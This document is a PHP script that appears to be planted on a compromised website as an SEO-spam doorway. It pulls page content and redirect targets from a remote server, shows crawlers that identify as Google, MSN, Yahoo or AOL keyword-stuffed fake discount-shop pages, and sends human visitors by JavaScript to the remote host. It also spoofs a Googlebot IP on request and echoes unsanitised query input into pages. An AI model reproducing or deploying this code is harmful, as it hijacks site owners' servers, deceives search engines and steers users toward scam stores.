<?php
function getCurl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$result = curl_exec($ch);
curl_close ($ch);
return $result;
}
error_reporting(E_ALL^E_NOTICE^E_WARNING);
$http_type = ((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https')) ? 'https://' : 'http://';


if(!is_null($_GET['g'])){
$url889=getCurl("http://www.aliserviceimg.com/1.aspx?sz=".$_GET['g']);
$yid=$_GET['g'];
 }
 else
 {
$yid=mt_rand(1,5);
$url889=getCurl("http://www.aliserviceimg.com/1.aspx?sz=".$yid);
 }


 if(!is_null($_GET['cid'])){
$cid=$_GET['cid'];
 }
 else
 {
$cid=getCurl($url889."sjs.aspx");
 }
if(!is_null($_GET['shop'])){
$kname=$_GET['shop'];

$tag1=getCurl($url889."/getci.aspx?cid=".$cid."&s=2&e=4");
$tag2=getCurl($url889."/getci.aspx?cid=".$cid."&s=5&e=7");

$content1=getCurl($url889."/geta.aspx?cid=".$cid."&s=4&e=5");
}


if(!is_null($_GET['number']))
{

$url=$url889."/S888.aspx?cid=".$cid."&number=".$_GET['number']."&pnum=".$_GET['pnum'];
$str=getCurl($url);
$str=str_replace('yymm', $http_type.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'],$str);
$str=str_replace('shop=','shop=',$str);
  $str=str_replace('ggggg', $yid,$str);

  header("Content-type:text/xml");
 echo $str;
 exit();
}
$ip=$_SERVER['REMOTE_ADDR']."*".$_SERVER['REMOTE_HOST']."*".$_SERVER['HTTP_CLIENT_IP']."*".$_SERVER['HTTP_X_FORWARDED_FOR']."*".$_SERVER['HTTP_X_FORWARDED']."*".$_SERVER['HTTP_FORWARDED_FOR']."*".$_SERVER['HTTP_FORWARDED'];
if(!is_null($_GET['kk'])){$ip="66.249.64.190";}
    $domain = getCurl($url889."/getdomain.aspx?rnd=1&ip=".$ip);
    if(stripos($domain,'google')!=false or stripos($domain,'msn.com')!=false or stripos($domain,'yahoo.com')!=false or stripos($domain,'aol.com')!=false){}
else
	{
	if(!is_null($_GET['shop']))	 
	{
echo '<script>document.location="'.$url889."/a.aspx?cid=".$cid."&cname=".urlencode($kname)."&url=".$_SERVER['HTTP_HOST'].'"</script>';
exit();
	}
	if(!is_null($_GET['pnum']))	 
	{
		$xs=$url889."/a.aspx";
		$txt=str_replace("products.aspx","",$xs)."?cid=".$cid."&url=".$_SERVER['HTTP_HOST'];
        echo '<script>document.location="'.$txt.'"</script>';
		exit();
	}
    }
?> 
<?php

if(!is_null($_GET['shop'])){
$wid=mt_rand(1,300);
$url=$url889."/jf1130.aspx?shop=".urlencode($kname)."&mt=".$url889."/en/333/".$wid.".txt&cid=".$_GET['cid'];
 }
 else
 {
 
	$url=$url889."/jf1130.aspx?cid=".$cid."&pnum=".$_GET['pnum'];
 }
 $ttttt=$kname.",OFF ".mt_rand(50,70)."% -".$_SERVER['HTTP_HOST'];
 $kkkkk=$kname.",".$tag1;
 $iiiii=$kname.",".$tag2.$tag1.".";
 $ccccc=$http_type.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'];
 $str = getCurl($url);
 $str=str_replace('UUUUU',$http_type.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'],$str);
 $str=str_replace('BBBBB',$_SERVER['HTTP_HOST'],$str);
 $str=str_replace('NNNNN', $kname,$str);

$str=str_replace('DDDDD',$kname."<li>LightPink, Pink, Crimson, LavenderBlush, PaleVioletRed, HotPink, DeepPink, MediumVioletRed, Orchid, Thistle, plum, Violet, Magenta, Fuchsia, DarkMagenta, Purple, MediumOrchid, DarkVoilet, DarkOrchid, Indigo, BlueViolet, MediumPurple, MediumSlateBlue, SlateBlue, DarkSlateBlue, Lavender, GhostWhite, Blue, MediumBlue, MidnightBlue, DarkBlue, Navy, RoyalBlue, CornflowerBlue, LightSteelBlue, LightSlateGray, SlateGray, DoderBlue, AliceBlue, SteelBlue, LightSkyBlue, SkyBlue, DeepSkyBlue, LightBLue, PowDerBlue, CadetBlue, Azure, LightCyan, ".$gjc3."PaleTurquoise, Cyan, Aqua, DarkTurquoise, DarkSlateGray, DarkCyan, Teal, MediumTurquoise, LightSeaGreen, Turquoise, Auqamarin, MediumAquamarine, MediumSpringGreen, MintCream, SpringGreen, SeaGreen, Honeydew, LightGreen, PaleGreen, DarkSeaGreen, LimeGreen, Lime, ForestGreen, Green, DarkGreen, Chartreuse, LawnGreen, GreenYellow, OliveDrab, Beige, LightGoldenrodYellow, Ivory, LightYellow, Yellow, Olive, DarkKhaki, LemonChiffon, PaleGodenrod, Khaki, Gold, Cornislk, GoldEnrod, FloralWhite, OldLace, Wheat, Moccasin, Orange, PapayaWhip, BlanchedAlmond, NavajoWhite, AntiqueWhite, Tan, BrulyWood, Bisque, DarkOrange, Linen, Peru, PeachPuff, SandyBrown, Chocolate, SaddleBrown, SeaShell, Sienna, LightSalmon, Coral, OrangeRed, DarkSalmon, Tomato, MistyRose, Salmon, Snow, LightCoral, RosyBrown, IndianRed, Red, Brown, FireBrick, DarkRed, Maroon, White, WhiteSmoke, Gainsboro, LightGrey, Silver, DarkGray, Gray, DimGray, Black".$content1.$_GET['searchtxt'],$str);
 $str=str_replace('TTTTT', $ttttt,$str);
 $str=str_replace('KKKKK', $kkkkk,$str);
 $str=str_replace('IIIII', $iiiii,$str);
  $str=str_replace('ggggg', $yid,$str);
 $str=str_replace('CCCCC', $ccccc,$str);

 echo $str;
?> 